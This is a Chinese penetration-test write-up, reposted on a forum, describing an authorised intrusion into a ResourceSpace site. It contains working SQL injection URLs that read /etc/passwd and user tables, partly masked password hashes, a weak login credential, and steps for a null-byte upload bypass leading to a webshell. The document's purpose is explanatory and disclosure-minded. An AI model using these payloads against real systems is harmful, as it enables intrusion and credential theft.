搜索

[7937] 2014-04-08_一次通过漏洞挖掘成功渗透某网站的过程

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-17
2014-04-08_一次通过漏洞挖掘成功渗透某网站的过程 一 次 通 过 漏 洞 挖 掘 成 功 渗 透 某 网 站 的 过 程 椒 图 科 技   F r e e B u f   2 0 1 4 - 0 4 - 0 8 起 因 起 因 我 们 的 一 个 客 户 希 望 我 们 对 其 网 站 进 行 渗 透 测 试 ， 以 发 现 其 脆 弱 点 并 协 助 改 进 安 全 性 。 在 拿 到 对 方 渗 透 测 试 授 权 之 我 们 的 一 个 客 户 希 望 我 们 对 其 网 站 进 行 渗 透 测 试 ， 以 发 现 其 脆 弱 点 并 协 助 改 进 安 全 性 。 在 拿 到 对 方 渗 透 测 试 授 权 之 后 ， 我 们 开 始 了 对 其 网 站 的 分 析 。 后 ， 我 们 开 始 了 对 其 网 站 的 分 析 。 寻 找 突 破 口 寻 找 突 破 口 对 方 主 站 是 一 个 定 制 开 发 的 C M S ， 在 进 行 一 系 列 扫 描 和 分 析 之 后 ， 未 发 现 可 利 用 的 地 方 ， 于 是 开 始 分 析 其 二 级 域 名 ， 发 现 其 中 某 资 源 管 理 分 站 ， 目 标 操 作 系 统 l i n u x ， 仅 开 放 H T T P （ 8 0 端 口 ） ， 整 站 程 序 为 R e s o u r c e S p a c e ， 一 个 开 源 p h p 建 站 程 序 。 漏 洞 挖 掘 漏 洞 挖 掘 因 为 是 开 源 程 序 ， 考 虑 其 漏 洞 挖 掘 相 对 容 易 一 些 ， 于 是 决 定 把 这 个 网 站 作 为 突 破 口 。 于 是 到 r e s o u r c e s p a c e 的 官 方 网 站 （ h t t p : / / w w w . r e s o u r c e s p a c e . o r g / ） 下 载 最 新 版 源 代 码 ， 在 本 地 本 地 搭 建 测 试 环 境 ， 开 始 白 盒 审 计 代 码 。 这 个 r e s o u r c e s p a c e 大 部 分 功 能 都 是 要 登 陆 后 才 能 使 用 的 ， 而 我 们 目 标 网 站 不 允 许 外 部 注 册 用 户 ， 所 以 我 们 要 挖 掘 不 需 要 登 录 验 证 就 可 利 用 的 漏 洞 。 第 一 步 要 挖 的 是 那 些 容 易 利 用 的 漏 洞 ， S Q L 注 入 之 类 的 ， 经 过 一 番 g r e p ， 在 p a g e s / s e a r c h _ d i s k _ u s a g e . p h p 里 面 发 现 一 处 调 用 ： $ r e s u l t s = d o _ s e a r c h ( g e t v a l ( " s e a r c h " , " " ) , g e t v a l e s c a p e d ( " r e s t y p e s " , " " ) , " r e l e v a n c e " , g e t v a l ( " a r c h i v e " , " " ) , - 1 , " d e s c " , f a l s e , $ s t a r s e a r c h , f a l s e , t r u e ) ; 再 来 看 一 下 i n c l u d e / s e a r c h _ f u n c t i o n s . p h p i f ( $ s q l _ f i l t e r ! = " " )   { $ s q l _ f i l t e r . = "   a n d   " ; }       $ s q l _ f i l t e r . = " a r c h i v e = ' $ a r c h i v e ' " ;                           } r e t u r n s q l _ q u e r y ( $ s q l _ p r e f i x   .   " s e l e c t   d i s t i n c t   * , r 2 . h i t _ c o u n t   s c o r e   f r o m   ( s e l e c t $ s e l e c t   f r o m   r e s o u r c e   r   $ s q l _ j o i n     w h e r e $ s q l _ f i l t e r   o r d e r   b y   r e f   d e s c   l i m i t   $ l a s t   )   r 2   o r d e r   b y   $ o r d e r _ b y "   . $ s q l _ s u f f i x , f a l s e , $ f e t c h r o w s ) ; 这 里 存 在 一 个 典 型 的 S Q L 注 入 漏 洞 。 我 们 在 本 地 测 试 环 境 中 访 问 以 下 U R L 来 测 试 ： h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 7 2 / R e s o u r c e S p a c e / p a g e s / s e a r c h _ d i s k _ u s a g e . p h p ? a r c h i v e = a ' 返 回 ：
证 明 了 注 入 点 确 实 存 在 。 不 过 这 个 超 长 的 嵌 套 S Q L 注 入 要 想 利 用 起 来 还 是 有 点 麻 烦 的 ， 想 构 造 语 句 闭 合 几 个 语 句 试 了 半 天 没 发 现 合 适 的 方 法 。 因 为 对 方 数 据 库 是 m y s q l 所 以 准 备 利 用 r a n d & g r o u p b y 报 错 大 法 来 试 一 下 。 构 造 语 句 是 这 样 的 ： h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 7 2 / R e s o u r c e S p a c e / p a g e s / s e a r c h _ d i s k _ u s a g e . p h p ? a r c h i v e = a ' % 2 0 a n d % 2 0 ( S E L E C T % 2 0 1 % 2 0 F R O M % 2 0 ( s e l e c t % 2 0 c o u n t ( * ) , c o n c a t ( f l o o r ( r a n d ( 0 ) * 2 ) , s u b s t r i n g ( l o a d _ f i l e ( ' / e t c / p a s s w d ' ) , 0 , 5 ) ) a % 2 0 f r o m % 2 0 i n f o r m a t i o n _ s c h e m a . t a b l e s % 2 0 g r o u p % 2 0 b y % 2 0 a ) b ) % 2 0 a n d % 2 0 ' 1 ' = ' 1 果 然 读 到 了 p a s s w d 文 件 内 容 ， 这 是 利 用 m y s q l 一 个 特 有 的 b u g 来 报 错 的 手 段 ， 也 是 常 用 的 S Q L 注 入 方 法 ， 对 该 方 法 原 理 不 再 赘 述 ， 感 兴 趣 的 请 参 考 ： h t t p : / / b u g s . m y s q l . c o m / b u g . p h p ? i d = 8 6 5 2 。 接 下 来 要 做 是 获 取 管 理 员 密 码 ， 进 后 台 传 w e b s h e l l ， 于 是 尝 试 了 目 标 网 站 ： h t t p : / / r s . X X X X . c o m / R e s o u r c e S p a c e / p a g e s / s e a r c h _ d i s k _ u s a g e . p h p ? a r c h i v e = a ' % 2 0 a n d % 2 0 ( S E L E C T % 2 0 1 % 2 0 F R O M % 2 0 ( s e l e c t % 2 0 c o u n t ( * ) , c o n c a t ( f l o o r ( r a n d ( 0 ) * 2 ) , ( S E L E C T % 2 0 u s e r n a m e % 2 0 f r o m % 2 0 u s e r % 2 0 l i m i t % 2 0 0 , 1 ) ) a % 2 0 f r o m % 2 0 i n f o r m a t i o n _ s c h e m a . t a b l e s % 2 0 g r o u p % 2 0 b y % 2 0 a ) b ) % 2 0 a n d % 2 0 ' 1 ' = ' 1 返 回 ：
密 码 破 解 密 码 破 解 返 回 了 加 密 后 的 密 码 ， 到 这 里 成 功 的 希 望 就 已 经 相 当 大 了 。 因 为 手 工 注 入 太 麻 烦 ， 所 以 写 了 个 程 序 来 跑 出 目 标 网 站 所 有 的 账 号 和 密 码 。 a d m i n - - - - - b * * * * d 9 3 c e 1 8 7 f 0 1 b 7 e 7 c 9 6 b 0 b 1 d f 0 6 2 S p * * * * e r S - - - - - a * * * * 4 3 7 d 2 e 1 8 f 2 f e 5 b f 6 2 3 4 1 2 4 2 7 4 9 3 J * * * * J - - - - - 9 * * * * a a 1 2 a 2 4 a 7 3 9 5 3 d 5 a b 9 5 5 6 7 c d 5 d 1 n * * * * n p h - - - - - 6 * * * * 7 f 9 f 3 d 7 e a 1 3 2 b a 4 2 d 3 4 9 d f 9 9 b 0 1 d * * * * e - - - - - 1 * * * * d d 0 8 2 b 7 7 c 1 3 c a 1 e c a f d 1 a 0 d 7 a c 4 N * * * * i a A - - - - - a * * * * 4 d f d 4 c 7 4 c 1 5 d 9 e 7 a b 2 6 2 0 6 3 9 f 2 1 D * * * * a h T - - - - - c * * * * c b 8 3 a f a d f 0 7 d d a 1 5 b 8 a 7 7 1 6 0 6 8 a J * * * * P - - - - - d * * * * 0 0 1 e 3 b 5 f 2 6 9 6 7 0 0 7 a b 2 6 4 7 b 8 a e 6 b * * * * r t m - - - - - 9 * * * * 6 d 2 0 c d 0 1 6 f f b 3 b c 9 5 9 3 b d 3 e d 0 f 3 J * * * * R - - - - - a * * * * 4 b 6 4 3 d 1 e 6 9 a a 8 d 5 1 f 9 c 6 1 6 e 4 6 c 9 L * * * * A - - - - - b * * * * 7 d 7 2 8 a 7 0 4 8 a d d 0 7 b 6 4 0 4 e 6 8 5 4 a c … … 密 码 看 起 来 像 是 M D 5 加 密 的 ， 不 过 进 一 步 查 看 源 代 码 却 发 现 形 势 不 容 乐 观 ， 加 密 是 加 用 户 名 s a l t 后 M D 5 的 ： m d 5 ( $ s a l t + $ u s e r n a m e + $ p a s s ) 这 意 味 着 无 法 在 c m d 5 等 网 站 查 询 ， 也 无 法 使 用 彩 虹 表 破 解 ， 而 只 能 选 择 暴 力 破 解 : ( 但 r e s o u r c e s p a c e 的 默 认 密 码 策 略 是 要 求 密 码 必 须 同 时 使 用 字 母 和 数 字 的 ， 这 样 破 解 的 希 望 就 更 小 了 ， 于 是 乎 写 了 个 破 解 程 序 ：
挂 上 我 们 的 N B 字 典 开 始 跑 密 码 ， 本 来 没 抱 太 大 希 望 ， 但 是 希 望 总 是 留 给 勇 于 尝 试 的 人 ， 还 真 有 一 个 用 户 使 用 了 弱 口 令 。 虽 然 不 是 a d m i n 账 号 ， 但 是 成 功 登 陆 进 去 一 样 可 以 做 很 多 事 情 ， 我 们 接 下 来 的 目 标 是 ： 获 取 w e b s h e l l 进 而 获 得 系 统 权 限 。 文 件 上 传 文 件 上 传 使 用 用 户 c h o i b / q w e r 1 2 3 4 登 录 进 目 标 网 站 ， 发 现 有 个 地 方 是 可 以 上 传 图 片 的 ， 而 且 通 过 字 节 截 断 可 以 上 传 p h p 文 件 ， 但 是 存 在 一 个 很 大 的 问 题 是 ， 上 传 后 的 文 件 被 重 命 名 为 随 机 文 件 名 ， 我 们 无 法 找 到 上 传 后 的 w e b s h e l l 。 渗 透 过 程 到 这 里 再 一 次 陷 入 僵 局 。 再 回 过 头 来 看 r e s o u r c e s p a c e 程 序 代 码 ， 通 过 分 析 程 序 发 现 可 通 过 提 交 不 正 常 请 求 ， 使 程 序 强 制 报 错 ， 爆 出 上 传 的 文 件 名 。 当 点 击 下 载 图 片 时 ， 并 不 会 直 接 连 接 图 片 的 U R L 地 址 ， 而 是 通 过 访 问 / R e s o u r c e S p a c e / p a g e s / d o w n l o a d _ p r o g r e s s . p h p ? r e f = 2 4 & e x t = p h p & k = & a l t e r n a t i v e = 1 & s e a r c h = % 2 1 l a s t 1 0 0 0 & o f f s e t = 0 & a r c h i v e = 0 & s o r t = D E S C & o r d e r _ b y = r e l e v a n c e 我 们 可 以 通 过 B u r p 修 改 H T T P 请 求 ， 来 让 程 序 报 错 ：
这 样 就 找 到 了 上 传 后 的 文 件 ， 并 且 在 目 标 系 统 上 获 得 了 w e b s h e l l ： 后 记 后 记 获 得 s h e l l 后 ， 我 们 又 做 了 大 量 的 工 作 ， 例 如 提 权 获 得 r o o t ， 内 网 渗 透 等 等 ， 但 是 因 为 涉 及 客 户 一 些 敏 感 信 息 ， 这 里 就 不 再 具 体 介 绍 了 。 本 文 的 主 旨 还 是 介 绍 通 过 挖 掘 并 利 用 r e s o u r c e s p a c e 漏 洞 来 获 得 渗 透 的 突 破 口 。 最 后 ， 作 为 一 家 负 责 任 的 安 全 厂 商 ， 我 们 把 此 漏 洞 提 交 给 了 r e s o u r c e s p a c e 官 方 ， 希 望 能 够 对 提 升 开 源 软 件 的 安 全 性 做 一 些 贡 献 。 椒 图 科 技 是 一 家 国 内 专 注 于 服 务 器 安 全 的 厂 商 ， 椒 图 攻 防 实 验 室 是 公 司 内 专 注 于 攻 击 渗 透 的 部 门 ， 这 里 有 最 新 的 攻 击 技 术 研 究 氛 围 ， 欢 迎 有 志 于 攻 击 、 渗 透 、 w e b 漏 洞 挖 掘 的 大 牛 小 牛 加 入 我 们 ！ 有 意 请 联 系 ： j o b @ j o w t o . c o m 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理